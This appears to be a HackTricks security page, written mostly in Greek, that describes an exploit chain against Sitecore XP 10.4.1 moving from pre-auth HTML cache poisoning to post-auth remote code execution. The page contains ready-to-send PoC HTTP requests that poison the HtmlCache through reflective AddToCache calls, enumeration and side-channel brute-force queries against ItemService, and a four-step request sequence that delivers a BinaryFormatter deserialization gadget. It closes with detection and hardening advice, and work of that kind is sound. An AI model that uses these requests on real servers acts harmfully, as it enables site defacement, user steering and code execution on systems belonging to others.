Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτή η σελίδα συνοψίζει μια πρακτική αλυσίδα επίθεσης εναντίον του Sitecore XP 10.4.1 που pivots από έναν pre‑auth XAML handler σε HTML cache poisoning και, μέσω μιας authenticated UI ροής, σε RCE μέσω BinaryFormatter deserialization. Οι τεχνικές γενικεύονται σε παρόμοιες εκδόσεις/συστατικά του Sitecore και παρέχουν συγκεκριμένα primitives για testing, detection και hardening.
- Επηρεασμένο προϊόν που δοκιμάστηκε: Sitecore XP 10.4.1 rev. 011628
- Διορθώθηκε σε: KB1003667, KB1003734 (Ιούνιος/Ιούλιος 2025)
Δείτε επίσης:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Σημείο εισόδου είναι ο pre‑auth XAML handler καταχωρημένος στο web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Προσβάσιμο μέσω:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
Το δέντρο ελέγχων περιλαμβάνει το AjaxScriptManager το οποίο, σε αιτήματα συμβάντων, διαβάζει attacker‑controlled πεδία και ανακλαστικά καλεί μεθόδους σε στοχευμένα controls:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Κύρια παρατήρηση: η σελίδα XAML περιλαμβάνει ένα XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl κληρονομεί από Sitecore.Web.UI.WebControl (μια κλάση Sitecore), η οποία περνάει την allow‑list ReflectionUtil.Filter (Sitecore.*), ξεκλειδώνοντας μεθόδους στο Sitecore WebControl.
Μαγική μέθοδος για poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Επειδή μπορούμε να στοχεύσουμε το xmlcontrol:GlobalHeader και να καλέσουμε μεθόδους του Sitecore.Web.UI.WebControl με το όνομα, αποκτούμε ένα pre‑auth αυθαίρετο HtmlCache write primitive.
Αίτημα PoC (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Σημειώσεις:
- __SOURCE είναι το clientID του xmlcontrol:GlobalHeader μέσα στο Sitecore.Shell.Xaml.WebControl (συνήθως σταθερό όπως ctl00_ctl00_ctl05_ctl03 καθώς προέρχεται από static XAML).
- Η μορφή του __PARAMETERS είναι Method("arg1","arg2").
What to poison: Cache key construction
Τυπική κατασκευή κλειδιού HtmlCache που χρησιμοποιείται από τους Sitecore controls:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Παράδειγμα targeted poisoning για γνωστό sublayout:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Απογραφή cacheable items και διαστάσεων “vary by”
Αν το ItemService είναι (λανθασμένα) εκτεθειμένο ανώνυμα, μπορείτε να απογράψετε cacheable components για να εξαχθούν ακριβή keys.
Γρήγορη δοκιμή:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Καταγράψτε τα αντικείμενα που μπορούν να αποθηκευτούν στην κρυφή μνήμη και τις σημαίες:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Αναζητήστε πεδία όπως Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Τα ονόματα συσκευών μπορούν να απαριθμηθούν μέσω:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration υπό περιορισμένες ταυτότητες (CVE-2025-53694)
Ακόμη και όταν το ItemService υποδύεται έναν περιορισμένο λογαριασμό (π.χ. ServicesAPI) και επιστρέφει ένα κενό Results array, το TotalCount μπορεί ακόμα να αντικατοπτρίζει pre‑ACL Solr hits. Μπορείτε να brute‑force item groups/ids με wildcards και να παρακολουθήσετε το TotalCount να συγκλίνει για να χαρτογραφήσετε το εσωτερικό περιεχόμενο και τις συσκευές:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Προσβάσιμο μέσω του pipeline step convertToRuntimeHtml (ConvertWebControls), το οποίο αναζητά ένα στοιχείο με id {iframeId}_inner και κάνει base64 decodes + deserializes σε αυτό, και στη συνέχεια εισάγει την προκύπτουσα συμβολοσειρά στο HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Εκκίνηση (authenticated, Content Editor rights). Ο διάλογος FixHtml καλεί την convertToRuntimeHtml. End‑to‑end χωρίς κλικ στο UI:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Gadget generation: χρησιμοποιήστε ysoserial.net / YSoNet με BinaryFormatter για να παράγετε ένα base64 payload που επιστρέφει ένα string. Το περιεχόμενο του string γράφεται στο HTML από το ConvertWebControls αφού εκτελεστούν τα deserialization side‑effects.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Πλήρης αλυσίδα
- Pre‑auth επιτιθέμενος δηλητηριάζει το HtmlCache με αυθαίρετο HTML καλώντας ανακλαστικά το WebControl.AddToCache μέσω XAML AjaxScriptManager.
- Το δηλητηριασμένο HTML σερβίρει JavaScript που ωθεί έναν authenticated Content Editor χρήστη μέσω της ροής FixHtml.
- Η σελίδα FixHtml ενεργοποιεί το convertToRuntimeHtml → ConvertWebControls, το οποίο deserializes attacker‑controlled base64 μέσω BinaryFormatter → RCE υπό την ταυτότητα του Sitecore app pool.
Ανίχνευση
- Pre‑auth XAML: αιτήσεις προς
/-/xaml/Sitecore.Shell.Xaml.WebControl
με__ISEVENT=1
, ύποπτο__SOURCE
και__PARAMETERS=AddToCache(...)
. - ItemService probing: αιχμές σε wildcard ερωτήματα προς
/sitecore/api/ssc
, μεγάλοTotalCount
με κενάResults
. - Deserialization attempts:
EditHtml.aspx
ακολουθούμενο απόFixHtml.aspx?hdl=...
και ασυνήθιστα μεγάλο base64 σε πεδία HTML.
Σκληροποίηση
- Εφαρμόστε Sitecore patches KB1003667 και KB1003734; gate/disable pre‑auth XAML handlers ή προσθέστε αυστηρό validation; παρακολουθείστε και rate‑limit το
/-/xaml/
. - Remove/replace BinaryFormatter; περιορίστε την πρόσβαση στο convertToRuntimeHtml ή εφαρμόστε ισχυρό server‑side validation των ροών επεξεργασίας HTML.
- Lock down
/sitecore/api/ssc
σε loopback ή authenticated roles; αποφύγετε impersonation patterns που leakTotalCount
‑based side channels. - Επιβάλετε MFA/least privilege για χρήστες Content Editor; επανεξετάστε το CSP για να μειώσετε τον αντίκτυπο του JS steering από cache poisoning.
Αναφορές
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.